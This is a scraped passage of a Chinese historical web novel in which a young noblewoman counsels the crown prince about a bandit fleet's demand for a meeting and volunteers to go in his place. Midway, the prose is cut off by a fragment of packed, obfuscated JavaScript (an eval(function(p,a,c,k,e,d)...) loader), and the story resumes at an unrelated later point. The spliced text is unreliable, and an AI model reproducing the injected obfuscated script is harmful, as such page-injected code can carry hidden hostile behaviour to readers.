“何必刀剑相向?” 卫陵顺势放下短刀:“我留下作质,舵主想好了,后退三里,以示诚意。” 舱门外突然传来急促的敲门声。 “舵主,对面舰队后撤了!要追吗?” 杜乔眼中兴奋的光一闪即逝:“告诉我,你是谁?” “前任首辅费如通,是我老师。” 杜乔松开刀尖,往后一退:“传令,后撤三里!” 他撑着桌面靠近卫陵:“我会向你家殿下传信,明日此地,叫他与我面谈,顺便把人带来。” “方圆十里内的河道我都已封锁。” “我们慢慢谈,好好谈,谁都别想着逃。” 10. 第十章 弃子 绗河上炮火声渐熄,船队往后退至河湾停泊。 福船上不如楼船宽敞,所有人均被安排在舱内休息,又为顾重晋单独抽调了一艘船只。 温月惭匆匆换了衣服,提着那个书箱,乘着小舟被带到顾重晋船上。 她在门口稍顿,轻轻叩了叩门。 “进来吧。” 她应声推门,掀帘,室内焚着檀香,冲淡了血腥气,又与缕缕烛光交缠,倒真的稍稍叫人心安了一些。 “见过太子殿下。” 她屈膝行礼。 顾重晋从书桌边抬起脸,朝她抬了抬手。 “起来吧,坐。” 温月惭顺着他手指向的方向走到茶桌边,放下书箱,折着裙摆坐下。 “今晚叫你来,实在有些不合礼数。” 他从书桌后绕出来,在茶桌前跪坐下:“只是卫先生不在,本宫见你与他相熟,也很有见地,便想着有些事可以同你相商。“ 温月惭轻咳一声:“殿下抬举臣女了。” “虽是有些晚了,但那边都歇下了,才叫人去传你,也不至于让人传了闲话。” 温月惭扯了扯嘴角:“殿下如此用心,臣女感激不尽。不知殿下有何事相商?” 顾重晋左手抬了上来,一张布帛被他放在桌上,铺平。 “后撤时对面射过来一支火箭,钉在主舰上,这便是绑在箭上送过来的。” 温月惭略略倾身,去看布面上用鲜血写成的文字。 “一日为限……明夜子时,请殿下独自再来此地……与我等面谈?” 温月惭念着上面的字句,声音一声比一声高。 “真是岂有此理!” “不知卫先生去时同他们说了什么,方才他们不仅主动撤退,还送来此信,要与我相谈。” 顾重晋低头看着那道道鲜红。 温月惭沉思稍许,开口道:“水匪的目的是截杀陈穹嘉,此事昭然若揭,卫陵走时说的‘七寸’大约就是这事,那就应当也会从此事入手。” 她有些气恼地揪了揪衣衫。 当时那情形,竟也没提前问过卫陵打算怎么做。 “水匪多在河道下游,他们没有理由专门来堵截船队。他在为曲苧案背后之人做事。”顾重晋接道。 “不错。” 温月惭眼底一亮。 “他们应当很清楚船队的底细,杀太子,他们是不敢的,这事应该不会是陷阱。卫陵应当是和他们达成了某种交易,但交易筹码太大,对面不够放心;又或是交易内容隐秘,不能为外人道。” “他们已经占尽上风,突然后撤,是一种示好行为,说明卫陵提出的条件,真的戳中了他们最核心的利益……或者是命。” “那就只能是……” “京都之人。” 顾重晋和温月惭异口同声道。 顾重晋笑了一声:“不错。不能为外人道,直接与他们相关,又是我们需要的信息;只能是他们背后之人了。” “卫陵用一件他们想要的东西,向他们换那位贵人的身份。” 顾重晋眼睛一转:“他们需要的……陈穹嘉?” “不一定,可能只是许诺了一样能让他们向京都贵人交差的方式,但具体是什么,现在还不好说。” 顾重晋攥了攥拳:“那本宫明日去一趟。” “不可。” 温月惭骤然出声。 “且不说此事风险太大,绝不能让殿下涉险,除此之外,还有两点原因。” “一来,我们现在被困在这河段,急需向外求援。而且这种势力的水匪,就算向地方求援,当地也要向京都上报抽调水师,不如直接入京。” “求援这事,要是别人去做,那就是把太子困于险境,护驾不力。只能是殿下去做。” “再来,殿下有没有想过,水匪叫您前去,还有什么深意?” 顾重晋皱眉:“你不是说了,此事隐秘,不能为外人道?” 温月惭从一旁拿过三个茶杯,在桌面上依次排开。 “当下局势在于三方。” 她手指点在第一个杯子上。 “殿下,水匪,还有那未曾露面的背后之人。” “水匪本与那人为一丘之貉,但殿下出现,看破了他们的联系,要与水匪达成交易。然而此时,殿下手中有水匪能拿来保命的东西,他们却没有能将殿下完全牵制的筹码,这交易做得安心吗?” “你的意思是……” 温月惭将两个茶杯拨到一边,只在面前留下一个。 她在杯中满上茶水。 水葱般的指尖抵住杯身,往桌沿一推,杯子霎时倾倒,往下落去。茶水泼在氍毹上,很快就浸了下去。 “殿下只要登上了他们的船,今日之局,来日京都之局,都将处于被动。” 温月惭甩了甩手上的水渍:“只要殿下亲自登船,在外人看来,便可认定殿下同水匪有所勾结。水匪一手抓住那人,一手抓着殿下,以后殿下若与那位贵人相争,有何处伤及这些江湖人,他们立刻可以将殿下卖出去;反之,他们也可以将那位贵人卖给殿下。” 顾重晋茅塞顿开:“抓住了本宫,就有了两手保障。往后不论如何,总有一方要保他们。” 温月惭点头:“这样看似是大家互相抓着把柄,形成十分微妙的平衡。但对殿下而言,如同束住了手脚。” 她神思一滞,像是想到了什么:“况且……卫陵今夜曾嘱咐我,尽快让您回京。当时我只以为是一句普通的交代,不过结合当下情况来看,他应当并没有打算真的让殿下前去。” “拖不得,又不能不去……那该如何?此局难道就没有解法了?” 温月惭将脊背挺直。 “臣女替殿下去。” 顾重晋像是以为自己听错了,定定看着温月惭,许久没有说话。 “船上都是官眷,不清楚情况,也帮不上忙;参将大人作战尚可,若与那狡诈水匪面谈,也讨不了好。殿下若信得过臣女,臣女愿为殿下分忧。” “你太天真了。” 他的目光没有移开:“一个未出阁的女子,孤身入水匪营寨,外面的人,会怎么看你?” “殿下还有更好的选择吗?” 温月惭神色不变:“贞洁,名节。” “这些东西到底重不重要,臣女不敢妄下定论。臣女只知道这些东西虚无缥缈,有或没有,有的时候就凭别人一张嘴。若是这个时候还在为其畏手畏脚,就是自扰。” 房间内陷入了寂静,顾重晋看着温月惭的目光愈发幽深,片刻后,他勾了勾唇角,哼笑了一声。 像是赞许,又似乎藏着一丝厌恶。 “温月惭,入京后,本宫会为你请赏。” “臣女谢过殿下。” 温月惭没有行大礼,只是抬手盈盈一拜。 她抬眸:“臣女不会让殿下失望。然在此之前,臣女还想和殿下议一议求援之事。” “此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她在想,卫陵此举究竟有什么用意。 若是真想以陈穹嘉作筹码,他就不必只身前去当人质。 没有想将陈穹嘉交出去,也没有想让顾重晋去救他,那他做这些,只是为了将背后之人钓出来,而没有给自己留任何后路吗? 温月惭纳闷。 以前怎么没看出来他竟然是这种蠢货。 如果顾重晋明日不去,那就只有两种方式来应付局面,一个是直接无视水匪邀约,等朝廷支援,另一种就是派参将过去,把该知道的套出来后,拒绝交出陈穹嘉。 从他的角度去看呢? 如果是第一种,那就直接证实他已经被弃,水匪可以随时取他性命。如果是第二种,要知道参将若以太子名义前来,水匪再蠢也不至于杀来使,跟皇室结梁子;同样,此举一样证实他已经被弃,水匪被他戏弄,多半会让他不得好死。 真到这时候,卫陵除非当场投诚背叛太子否则不能破局。 若是说他当了两辈子朝臣累了倦了想要落草为寇也就算了,可他偏偏以一己之身给船队挣得了喘息之机,又把破局的机会摆在所有人面前。 难道他刚刚重活一世,就甘心做个弃子吗? 温月惭看着云层后让人身上发暖的阳光,竟觉得这天气一点也不可爱。 神经病。 她在甲板上呵呵冷笑两声,转身回了船舱。 真把他弃了他就老实了。